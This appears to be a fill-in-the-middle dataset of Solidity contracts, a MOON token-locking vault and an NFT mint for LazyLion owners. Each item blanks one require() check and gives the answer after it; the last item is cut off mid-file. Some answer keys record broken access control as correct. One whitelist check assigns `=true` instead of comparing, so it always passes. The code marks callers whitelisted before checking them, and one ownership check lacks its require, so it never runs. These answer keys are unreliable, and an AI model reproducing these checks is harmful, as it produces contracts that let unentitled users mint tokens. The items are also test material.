mapping(address => uint256) private _bagsLastUpdated;
uint256 private _totalLocked;
constructor(address _moonAddress) {
}
function lock(address account, uint256 amount) public nonReentrant {
require(<FILL_ME>)
IERC20(moonAddress).transferFrom(account, address(this), amount);
_balance[account] += amount;
_totalLocked += amount;
_bags[account].push(Bag(block.timestamp, amount));
}
function balanceOf(address account) public view returns (uint256) {
}
function availableBalance(address account) public view returns (uint256) {
}
function lockedBalance(address account) public view returns (uint256) {
}
function withdraw(uint256 amount) public nonReentrant {
}
function showBags(address account) public view returns (Bag[] memory) {
}
function _processReleases(address account) private {
}
}
| _msgSender()==account||_msgSender()==moonAddress,"Cannot lock on behalf of another account." | 233,890 | _msgSender()==account||_msgSender()==moonAddress |
"Not enough MOON available to withdraw." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Context.sol";
import "Ownable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
contract MoonBagVault is Context, Ownable, ReentrancyGuard {
address public moonAddress;
struct Bag {
uint256 date; // when the bag was created
uint256 amount; // the amount locked in the bag
}
mapping(address => uint256) private _balance;
mapping(address => uint256) private _availableBalance;
mapping(address => Bag[]) private _bags;
mapping(address => uint256) private _bagsLastUpdated;
uint256 private _totalLocked;
constructor(address _moonAddress) {
}
function lock(address account, uint256 amount) public nonReentrant {
}
function balanceOf(address account) public view returns (uint256) {
}
function availableBalance(address account) public view returns (uint256) {
}
function lockedBalance(address account) public view returns (uint256) {
}
function withdraw(uint256 amount) public nonReentrant {
_processReleases(_msgSender());
require(<FILL_ME>)
IERC20(moonAddress).transfer(_msgSender(), amount);
_availableBalance[_msgSender()] -= amount;
_balance[_msgSender()] -= amount;
_totalLocked -= amount;
}
function showBags(address account) public view returns (Bag[] memory) {
}
function _processReleases(address account) private {
}
}
| _availableBalance[_msgSender()]>=amount,"Not enough MOON available to withdraw." | 233,890 | _availableBalance[_msgSender()]>=amount |
"must be a lazy lion owner" | pragma solidity >=0.7.0 <0.9.0;
/// ================= Imports ==================
/// @title This is the LazyLion interface.
interface lazyLionI{
function balanceOf(address owner) external view returns (uint256 balance);
}
//.-. .-. .-. .-. .----. .-. .-. .----.
// \ \/ / | | | |/ {} \| `| |{ {__
// } { | `--.| |\ /| |\ |.-._} }
// / /\ \ `----'`-' `----' `-' `-'`----'
/// @title XTRA_for_LIONS
/// @notice XTRALIONS claimable by LazyLion owners
/// @dev ERC721 claimable by members of a merkle tree
contract XtraForLions is ERC721, ERC721Enumerable, ReentrancyGuard, AccessControl, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
/// ==================== State Variables =======================
bytes32 public constant MANAGER_ROLE = keccak256(abi.encodePacked("manager"));
bool public whitelistState;
//gnosis safe is one of the admin
address private admin_one;
address private admin_two;
address private admin_three;
address private gnosis_addr;
uint256 public MINT_PRICE = 80000000000000000; // 0.08 ether;
uint public maxMintKingAmount = 10;
uint public maxMintLazyAmount = 1;
string public baseURI;
uint public constant MAX_TOKEN_SUPPLY = 500;
/// @notice whiteliste address inclusion root
bytes32 public merkleRoot;
//this is a test lazyLion address
lazyLionI _lazyLion = lazyLionI(0x8943C7bAC1914C9A7ABa750Bf2B6B09Fd21037E0);
/// ==================== mappings =======================
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public lazyTokenMinted;
mapping(address => uint) public kingTokensMinted;
/// ==================== constructor =======================
/// @dev _merkleRoot must append "0x" prefix with the hash
/// @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
/// See {ERC20-constructor}.
constructor(
bytes32 _merkleRoot,
address _admin_one,
address _admin_two,
address _admin_three,
address _gnosis_addr,
string memory _initBaseURI)ERC721
("XTRA for LIONS", "XTRALIONS"){
}
/// ====================== events =======================
event UpdatedRoot(bytes32 _newRoot);
event managerAdded(address account);
event mintedLazyEdition(address addr, uint256 _mintAmount);
event mintedKingEdition(address addr, uint256 _mintAmount);
/// ====================== functions ========================
function _baseURI() internal view override returns (string memory) {
}
/// @notice Updates the merkleRoot with the given new root
/// @param _newRoot new merkleRoot to work with
function updateMerkleRoot(bytes32 _newRoot) onlyRole(MANAGER_ROLE) external {
}
/// @notice checks if the address is a member of the tree
/// @dev the proof and root are gotten from the MerkleTree script
/// @param _merkleProof to check if to is part of merkle tree
/// @notice Only whitelisted lazylion owners can mint
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintLazyEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external{
require(<FILL_ME>)
//generate a leaf node to verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof,merkleRoot,leaf), "invalid merkle proof"); //checks for valid proof
isWhitelisted[msg.sender] = true;
require(_mintAmount != 0, "Cannot mint 0 tokens"); // Number of tokens can't be 0.
lazyTokenMinted[msg.sender] += _mintAmount; //update users record
require(lazyTokenMinted[msg.sender] <= maxMintLazyAmount,"you have exceeded mint limit per wallet");
//check if address has minted
uint tokenLeft = totalSupply() + _mintAmount;
// Check that the number of tokens requested wouldn't exceed what's left.
require(tokenLeft <= MAX_TOKEN_SUPPLY, "Minting would exceed max. supply");
uint256 mintIndex = totalSupply();
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment(); // For each token requested, mint one.
require(mintIndex <= 120 && mintIndex <= MAX_TOKEN_SUPPLY); //make sure supply is still avail to mint
_safeMint(msg.sender, mintIndex);
_setTokenURI(tokenId, uri);
emit mintedLazyEdition(msg.sender, _mintAmount);
}
/// @notice only whitelisted address can mint if whitelist is disabled
/// @notice members can only mint this edition if they pay the MINT_PRICE
/// @param _mintAmount is the min token amount
/// @param _merkleProof to make sure address is whitelisted
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintKingEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external payable{
}
function changeWhitelistState() public onlyRole(MANAGER_ROLE){
}
function getBalance() onlyRole(MANAGER_ROLE) public view returns(uint256) {
}
function changeLazyMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeKingMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeMintPrice(uint256 _newPrice) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
///@notice role who have access to the gnosis safe can call this method and it will be deposit in gnosis for mulsig to sig
///@notice The admin set at the constructor can also call this method
function withdraw() onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant external returns(bool){
}
/// @dev Add an account to the manager role. Restricted to admins.
function addAsManager(address account) public onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Create a bool check to see if a account address has the role admin
function isAdmin(address account) public view returns(bool)
{
}
// Create a bool check to see if a account address has the role admin
function isManager(address account) public view returns(bool)
{
}
///@custom:interface The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl,ERC721) returns (bool) {
}
function _beforeTokenTransfer(address from, address to,uint256 tokenId) internal virtual override(ERC721Enumerable,ERC721) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
}
}
| _lazyLion.balanceOf(msg.sender)>0,"must be a lazy lion owner" | 234,063 | _lazyLion.balanceOf(msg.sender)>0 |
"you have exceeded mint limit per wallet" | pragma solidity >=0.7.0 <0.9.0;
/// ================= Imports ==================
/// @title This is the LazyLion interface.
interface lazyLionI{
function balanceOf(address owner) external view returns (uint256 balance);
}
//.-. .-. .-. .-. .----. .-. .-. .----.
// \ \/ / | | | |/ {} \| `| |{ {__
// } { | `--.| |\ /| |\ |.-._} }
// / /\ \ `----'`-' `----' `-' `-'`----'
/// @title XTRA_for_LIONS
/// @notice XTRALIONS claimable by LazyLion owners
/// @dev ERC721 claimable by members of a merkle tree
contract XtraForLions is ERC721, ERC721Enumerable, ReentrancyGuard, AccessControl, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
/// ==================== State Variables =======================
bytes32 public constant MANAGER_ROLE = keccak256(abi.encodePacked("manager"));
bool public whitelistState;
//gnosis safe is one of the admin
address private admin_one;
address private admin_two;
address private admin_three;
address private gnosis_addr;
uint256 public MINT_PRICE = 80000000000000000; // 0.08 ether;
uint public maxMintKingAmount = 10;
uint public maxMintLazyAmount = 1;
string public baseURI;
uint public constant MAX_TOKEN_SUPPLY = 500;
/// @notice whiteliste address inclusion root
bytes32 public merkleRoot;
//this is a test lazyLion address
lazyLionI _lazyLion = lazyLionI(0x8943C7bAC1914C9A7ABa750Bf2B6B09Fd21037E0);
/// ==================== mappings =======================
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public lazyTokenMinted;
mapping(address => uint) public kingTokensMinted;
/// ==================== constructor =======================
/// @dev _merkleRoot must append "0x" prefix with the hash
/// @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
/// See {ERC20-constructor}.
constructor(
bytes32 _merkleRoot,
address _admin_one,
address _admin_two,
address _admin_three,
address _gnosis_addr,
string memory _initBaseURI)ERC721
("XTRA for LIONS", "XTRALIONS"){
}
/// ====================== events =======================
event UpdatedRoot(bytes32 _newRoot);
event managerAdded(address account);
event mintedLazyEdition(address addr, uint256 _mintAmount);
event mintedKingEdition(address addr, uint256 _mintAmount);
/// ====================== functions ========================
function _baseURI() internal view override returns (string memory) {
}
/// @notice Updates the merkleRoot with the given new root
/// @param _newRoot new merkleRoot to work with
function updateMerkleRoot(bytes32 _newRoot) onlyRole(MANAGER_ROLE) external {
}
/// @notice checks if the address is a member of the tree
/// @dev the proof and root are gotten from the MerkleTree script
/// @param _merkleProof to check if to is part of merkle tree
/// @notice Only whitelisted lazylion owners can mint
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintLazyEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external{
require(_lazyLion.balanceOf(msg.sender) > 0,"must be a lazy lion owner");
//generate a leaf node to verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof,merkleRoot,leaf), "invalid merkle proof"); //checks for valid proof
isWhitelisted[msg.sender] = true;
require(_mintAmount != 0, "Cannot mint 0 tokens"); // Number of tokens can't be 0.
lazyTokenMinted[msg.sender] += _mintAmount; //update users record
require(<FILL_ME>)
//check if address has minted
uint tokenLeft = totalSupply() + _mintAmount;
// Check that the number of tokens requested wouldn't exceed what's left.
require(tokenLeft <= MAX_TOKEN_SUPPLY, "Minting would exceed max. supply");
uint256 mintIndex = totalSupply();
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment(); // For each token requested, mint one.
require(mintIndex <= 120 && mintIndex <= MAX_TOKEN_SUPPLY); //make sure supply is still avail to mint
_safeMint(msg.sender, mintIndex);
_setTokenURI(tokenId, uri);
emit mintedLazyEdition(msg.sender, _mintAmount);
}
/// @notice only whitelisted address can mint if whitelist is disabled
/// @notice members can only mint this edition if they pay the MINT_PRICE
/// @param _mintAmount is the min token amount
/// @param _merkleProof to make sure address is whitelisted
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintKingEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external payable{
}
function changeWhitelistState() public onlyRole(MANAGER_ROLE){
}
function getBalance() onlyRole(MANAGER_ROLE) public view returns(uint256) {
}
function changeLazyMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeKingMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeMintPrice(uint256 _newPrice) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
///@notice role who have access to the gnosis safe can call this method and it will be deposit in gnosis for mulsig to sig
///@notice The admin set at the constructor can also call this method
function withdraw() onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant external returns(bool){
}
/// @dev Add an account to the manager role. Restricted to admins.
function addAsManager(address account) public onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Create a bool check to see if a account address has the role admin
function isAdmin(address account) public view returns(bool)
{
}
// Create a bool check to see if a account address has the role admin
function isManager(address account) public view returns(bool)
{
}
///@custom:interface The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl,ERC721) returns (bool) {
}
function _beforeTokenTransfer(address from, address to,uint256 tokenId) internal virtual override(ERC721Enumerable,ERC721) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
}
}
| lazyTokenMinted[msg.sender]<=maxMintLazyAmount,"you have exceeded mint limit per wallet" | 234,063 | lazyTokenMinted[msg.sender]<=maxMintLazyAmount |
"whitelist Enabled: only whiteListedAddress can mint" | pragma solidity >=0.7.0 <0.9.0;
/// ================= Imports ==================
/// @title This is the LazyLion interface.
interface lazyLionI{
function balanceOf(address owner) external view returns (uint256 balance);
}
//.-. .-. .-. .-. .----. .-. .-. .----.
// \ \/ / | | | |/ {} \| `| |{ {__
// } { | `--.| |\ /| |\ |.-._} }
// / /\ \ `----'`-' `----' `-' `-'`----'
/// @title XTRA_for_LIONS
/// @notice XTRALIONS claimable by LazyLion owners
/// @dev ERC721 claimable by members of a merkle tree
contract XtraForLions is ERC721, ERC721Enumerable, ReentrancyGuard, AccessControl, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
/// ==================== State Variables =======================
bytes32 public constant MANAGER_ROLE = keccak256(abi.encodePacked("manager"));
bool public whitelistState;
//gnosis safe is one of the admin
address private admin_one;
address private admin_two;
address private admin_three;
address private gnosis_addr;
uint256 public MINT_PRICE = 80000000000000000; // 0.08 ether;
uint public maxMintKingAmount = 10;
uint public maxMintLazyAmount = 1;
string public baseURI;
uint public constant MAX_TOKEN_SUPPLY = 500;
/// @notice whiteliste address inclusion root
bytes32 public merkleRoot;
//this is a test lazyLion address
lazyLionI _lazyLion = lazyLionI(0x8943C7bAC1914C9A7ABa750Bf2B6B09Fd21037E0);
/// ==================== mappings =======================
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public lazyTokenMinted;
mapping(address => uint) public kingTokensMinted;
/// ==================== constructor =======================
/// @dev _merkleRoot must append "0x" prefix with the hash
/// @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
/// See {ERC20-constructor}.
constructor(
bytes32 _merkleRoot,
address _admin_one,
address _admin_two,
address _admin_three,
address _gnosis_addr,
string memory _initBaseURI)ERC721
("XTRA for LIONS", "XTRALIONS"){
}
/// ====================== events =======================
event UpdatedRoot(bytes32 _newRoot);
event managerAdded(address account);
event mintedLazyEdition(address addr, uint256 _mintAmount);
event mintedKingEdition(address addr, uint256 _mintAmount);
/// ====================== functions ========================
function _baseURI() internal view override returns (string memory) {
}
/// @notice Updates the merkleRoot with the given new root
/// @param _newRoot new merkleRoot to work with
function updateMerkleRoot(bytes32 _newRoot) onlyRole(MANAGER_ROLE) external {
}
/// @notice checks if the address is a member of the tree
/// @dev the proof and root are gotten from the MerkleTree script
/// @param _merkleProof to check if to is part of merkle tree
/// @notice Only whitelisted lazylion owners can mint
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintLazyEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external{
}
/// @notice only whitelisted address can mint if whitelist is disabled
/// @notice members can only mint this edition if they pay the MINT_PRICE
/// @param _mintAmount is the min token amount
/// @param _merkleProof to make sure address is whitelisted
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintKingEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external payable{
//generate a leaf node to verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
//checks for valid proof
require(MerkleProof.verify(_merkleProof,merkleRoot,leaf),"invalid merkle proof");
isWhitelisted[msg.sender] = true;
if(whitelistState == true){
require(<FILL_ME>)
}else{
(_lazyLion.balanceOf(msg.sender) > 0, "Whitelist disabled:not a lazy lion owner");
}
// Number of tokens can't be 0.
require(_mintAmount != 0, "Cannot mint 0 tokens");
// lazyTokenMinted[msg.sender][msg.sender] += _mintAmount;//update users record
kingTokensMinted[msg.sender] += _mintAmount;//update users record
//check if address has minted
require(kingTokensMinted[msg.sender] <= maxMintKingAmount, "you have exceeded mint limit per wallet");
uint tokenLeft = totalSupply() + _mintAmount;
// Check that the number of tokens requested wouldn't exceed what's left.
require(tokenLeft <= MAX_TOKEN_SUPPLY, "Minting would exceed max. supply");
uint pricePerToken = MINT_PRICE * _mintAmount;
// Check that the right amount of Ether was sent.
require(pricePerToken <= msg.value, "Not enough Ether sent.");
uint256 mintIndex = totalSupply();
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment(); // For each token requested, mint one.
if(mintIndex < 380 && mintIndex <= MAX_TOKEN_SUPPLY){
_safeMint(msg.sender, mintIndex);
_setTokenURI(tokenId, uri);
}
emit mintedKingEdition(msg.sender, _mintAmount);
}
function changeWhitelistState() public onlyRole(MANAGER_ROLE){
}
function getBalance() onlyRole(MANAGER_ROLE) public view returns(uint256) {
}
function changeLazyMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeKingMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeMintPrice(uint256 _newPrice) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
///@notice role who have access to the gnosis safe can call this method and it will be deposit in gnosis for mulsig to sig
///@notice The admin set at the constructor can also call this method
function withdraw() onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant external returns(bool){
}
/// @dev Add an account to the manager role. Restricted to admins.
function addAsManager(address account) public onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Create a bool check to see if a account address has the role admin
function isAdmin(address account) public view returns(bool)
{
}
// Create a bool check to see if a account address has the role admin
function isManager(address account) public view returns(bool)
{
}
///@custom:interface The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl,ERC721) returns (bool) {
}
function _beforeTokenTransfer(address from, address to,uint256 tokenId) internal virtual override(ERC721Enumerable,ERC721) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
}
}
| isWhitelisted[msg.sender]=true,"whitelist Enabled: only whiteListedAddress can mint" | 234,063 | isWhitelisted[msg.sender]=true |
"you have exceeded mint limit per wallet" | pragma solidity >=0.7.0 <0.9.0;
/// ================= Imports ==================
/// @title This is the LazyLion interface.
interface lazyLionI{
function balanceOf(address owner) external view returns (uint256 balance);
}
//.-. .-. .-. .-. .----. .-. .-. .----.
// \ \/ / | | | |/ {} \| `| |{ {__
// } { | `--.| |\ /| |\ |.-._} }
// / /\ \ `----'`-' `----' `-' `-'`----'
/// @title XTRA_for_LIONS
/// @notice XTRALIONS claimable by LazyLion owners
/// @dev ERC721 claimable by members of a merkle tree
contract XtraForLions is ERC721, ERC721Enumerable, ReentrancyGuard, AccessControl, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
/// ==================== State Variables =======================
bytes32 public constant MANAGER_ROLE = keccak256(abi.encodePacked("manager"));
bool public whitelistState;
//gnosis safe is one of the admin
address private admin_one;
address private admin_two;
address private admin_three;
address private gnosis_addr;
uint256 public MINT_PRICE = 80000000000000000; // 0.08 ether;
uint public maxMintKingAmount = 10;
uint public maxMintLazyAmount = 1;
string public baseURI;
uint public constant MAX_TOKEN_SUPPLY = 500;
/// @notice whiteliste address inclusion root
bytes32 public merkleRoot;
//this is a test lazyLion address
lazyLionI _lazyLion = lazyLionI(0x8943C7bAC1914C9A7ABa750Bf2B6B09Fd21037E0);
/// ==================== mappings =======================
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public lazyTokenMinted;
mapping(address => uint) public kingTokensMinted;
/// ==================== constructor =======================
/// @dev _merkleRoot must append "0x" prefix with the hash
/// @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
/// See {ERC20-constructor}.
constructor(
bytes32 _merkleRoot,
address _admin_one,
address _admin_two,
address _admin_three,
address _gnosis_addr,
string memory _initBaseURI)ERC721
("XTRA for LIONS", "XTRALIONS"){
}
/// ====================== events =======================
event UpdatedRoot(bytes32 _newRoot);
event managerAdded(address account);
event mintedLazyEdition(address addr, uint256 _mintAmount);
event mintedKingEdition(address addr, uint256 _mintAmount);
/// ====================== functions ========================
function _baseURI() internal view override returns (string memory) {
}
/// @notice Updates the merkleRoot with the given new root
/// @param _newRoot new merkleRoot to work with
function updateMerkleRoot(bytes32 _newRoot) onlyRole(MANAGER_ROLE) external {
}
/// @notice checks if the address is a member of the tree
/// @dev the proof and root are gotten from the MerkleTree script
/// @param _merkleProof to check if to is part of merkle tree
/// @notice Only whitelisted lazylion owners can mint
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintLazyEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external{
}
/// @notice only whitelisted address can mint if whitelist is disabled
/// @notice members can only mint this edition if they pay the MINT_PRICE
/// @param _mintAmount is the min token amount
/// @param _merkleProof to make sure address is whitelisted
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintKingEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external payable{
//generate a leaf node to verify merkle proof, or revert if not in tree
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
//checks for valid proof
require(MerkleProof.verify(_merkleProof,merkleRoot,leaf),"invalid merkle proof");
isWhitelisted[msg.sender] = true;
if(whitelistState == true){
require(
isWhitelisted[msg.sender] = true,"whitelist Enabled: only whiteListedAddress can mint"
);
}else{
(_lazyLion.balanceOf(msg.sender) > 0, "Whitelist disabled:not a lazy lion owner");
}
// Number of tokens can't be 0.
require(_mintAmount != 0, "Cannot mint 0 tokens");
// lazyTokenMinted[msg.sender][msg.sender] += _mintAmount;//update users record
kingTokensMinted[msg.sender] += _mintAmount;//update users record
//check if address has minted
require(<FILL_ME>)
uint tokenLeft = totalSupply() + _mintAmount;
// Check that the number of tokens requested wouldn't exceed what's left.
require(tokenLeft <= MAX_TOKEN_SUPPLY, "Minting would exceed max. supply");
uint pricePerToken = MINT_PRICE * _mintAmount;
// Check that the right amount of Ether was sent.
require(pricePerToken <= msg.value, "Not enough Ether sent.");
uint256 mintIndex = totalSupply();
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment(); // For each token requested, mint one.
if(mintIndex < 380 && mintIndex <= MAX_TOKEN_SUPPLY){
_safeMint(msg.sender, mintIndex);
_setTokenURI(tokenId, uri);
}
emit mintedKingEdition(msg.sender, _mintAmount);
}
function changeWhitelistState() public onlyRole(MANAGER_ROLE){
}
function getBalance() onlyRole(MANAGER_ROLE) public view returns(uint256) {
}
function changeLazyMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeKingMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeMintPrice(uint256 _newPrice) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
///@notice role who have access to the gnosis safe can call this method and it will be deposit in gnosis for mulsig to sig
///@notice The admin set at the constructor can also call this method
function withdraw() onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant external returns(bool){
}
/// @dev Add an account to the manager role. Restricted to admins.
function addAsManager(address account) public onlyRole(DEFAULT_ADMIN_ROLE)
{
}
// Create a bool check to see if a account address has the role admin
function isAdmin(address account) public view returns(bool)
{
}
// Create a bool check to see if a account address has the role admin
function isManager(address account) public view returns(bool)
{
}
///@custom:interface The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl,ERC721) returns (bool) {
}
function _beforeTokenTransfer(address from, address to,uint256 tokenId) internal virtual override(ERC721Enumerable,ERC721) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
}
}
| kingTokensMinted[msg.sender]<=maxMintKingAmount,"you have exceeded mint limit per wallet" | 234,063 | kingTokensMinted[msg.sender]<=maxMintKingAmount |
"Already a manager" | pragma solidity >=0.7.0 <0.9.0;
/// ================= Imports ==================
/// @title This is the LazyLion interface.
interface lazyLionI{
function balanceOf(address owner) external view returns (uint256 balance);
}
//.-. .-. .-. .-. .----. .-. .-. .----.
// \ \/ / | | | |/ {} \| `| |{ {__
// } { | `--.| |\ /| |\ |.-._} }
// / /\ \ `----'`-' `----' `-' `-'`----'
/// @title XTRA_for_LIONS
/// @notice XTRALIONS claimable by LazyLion owners
/// @dev ERC721 claimable by members of a merkle tree
contract XtraForLions is ERC721, ERC721Enumerable, ReentrancyGuard, AccessControl, ERC721URIStorage {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
/// ==================== State Variables =======================
bytes32 public constant MANAGER_ROLE = keccak256(abi.encodePacked("manager"));
bool public whitelistState;
//gnosis safe is one of the admin
address private admin_one;
address private admin_two;
address private admin_three;
address private gnosis_addr;
uint256 public MINT_PRICE = 80000000000000000; // 0.08 ether;
uint public maxMintKingAmount = 10;
uint public maxMintLazyAmount = 1;
string public baseURI;
uint public constant MAX_TOKEN_SUPPLY = 500;
/// @notice whiteliste address inclusion root
bytes32 public merkleRoot;
//this is a test lazyLion address
lazyLionI _lazyLion = lazyLionI(0x8943C7bAC1914C9A7ABa750Bf2B6B09Fd21037E0);
/// ==================== mappings =======================
mapping(address => bool) public isWhitelisted;
mapping(address => uint) public lazyTokenMinted;
mapping(address => uint) public kingTokensMinted;
/// ==================== constructor =======================
/// @dev _merkleRoot must append "0x" prefix with the hash
/// @dev Grants `DEFAULT_ADMIN_ROLE` to the account that deploys the contract.
/// See {ERC20-constructor}.
constructor(
bytes32 _merkleRoot,
address _admin_one,
address _admin_two,
address _admin_three,
address _gnosis_addr,
string memory _initBaseURI)ERC721
("XTRA for LIONS", "XTRALIONS"){
}
/// ====================== events =======================
event UpdatedRoot(bytes32 _newRoot);
event managerAdded(address account);
event mintedLazyEdition(address addr, uint256 _mintAmount);
event mintedKingEdition(address addr, uint256 _mintAmount);
/// ====================== functions ========================
function _baseURI() internal view override returns (string memory) {
}
/// @notice Updates the merkleRoot with the given new root
/// @param _newRoot new merkleRoot to work with
function updateMerkleRoot(bytes32 _newRoot) onlyRole(MANAGER_ROLE) external {
}
/// @notice checks if the address is a member of the tree
/// @dev the proof and root are gotten from the MerkleTree script
/// @param _merkleProof to check if to is part of merkle tree
/// @notice Only whitelisted lazylion owners can mint
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintLazyEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external{
}
/// @notice only whitelisted address can mint if whitelist is disabled
/// @notice members can only mint this edition if they pay the MINT_PRICE
/// @param _mintAmount is the min token amount
/// @param _merkleProof to make sure address is whitelisted
///@param uri is 1.json and 2.json respectively for the lazy and king collection
function mintKingEdition(uint _mintAmount, string calldata uri, bytes32[] calldata _merkleProof) nonReentrant external payable{
}
function changeWhitelistState() public onlyRole(MANAGER_ROLE){
}
function getBalance() onlyRole(MANAGER_ROLE) public view returns(uint256) {
}
function changeLazyMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeKingMintAmt(uint256 _newMint) public onlyRole(MANAGER_ROLE) {
}
function changeMintPrice(uint256 _newPrice) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
///@notice role who have access to the gnosis safe can call this method and it will be deposit in gnosis for mulsig to sig
///@notice The admin set at the constructor can also call this method
function withdraw() onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant external returns(bool){
}
/// @dev Add an account to the manager role. Restricted to admins.
function addAsManager(address account) public onlyRole(DEFAULT_ADMIN_ROLE)
{
require(<FILL_ME>)
grantRole(MANAGER_ROLE, account);
emit managerAdded(account);
}
// Create a bool check to see if a account address has the role admin
function isAdmin(address account) public view returns(bool)
{
}
// Create a bool check to see if a account address has the role admin
function isManager(address account) public view returns(bool)
{
}
///@custom:interface The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, AccessControl,ERC721) returns (bool) {
}
function _beforeTokenTransfer(address from, address to,uint256 tokenId) internal virtual override(ERC721Enumerable,ERC721) {
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory)
{
}
}
| hasRole(MANAGER_ROLE,account)==false,"Already a manager" | 234,063 | hasRole(MANAGER_ROLE,account)==false |
"NeighboursToken: not enough privileges to call method" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/// @title NeighboursToken Contract
/// @author Neighbours team
/// @notice We are The Neighbours - a squad of diverse, yet like-minded cosmic hobos. We express our skills in fantastic paintings and convert them into NFT collectibles. Join us now to discover more!
contract NeighboursToken is ERC721, Ownable {
/// @notice Openzeppelin type bindings
using Address for address payable;
using Strings for uint256;
using Counters for Counters.Counter;
/// Vars
/// @notice Start ID for unique Neighbours
uint constant UNIQUE_IMAGE_ID_START = 10000;
/// @notice Tokens counter
Counters.Counter private _tokenIdCounter;
/// @notice Unique tokens counter
Counters.Counter private _uniqueImageIdCounter;
/// @notice Default metadata IPFS CID
string private _defaultMetaCID;
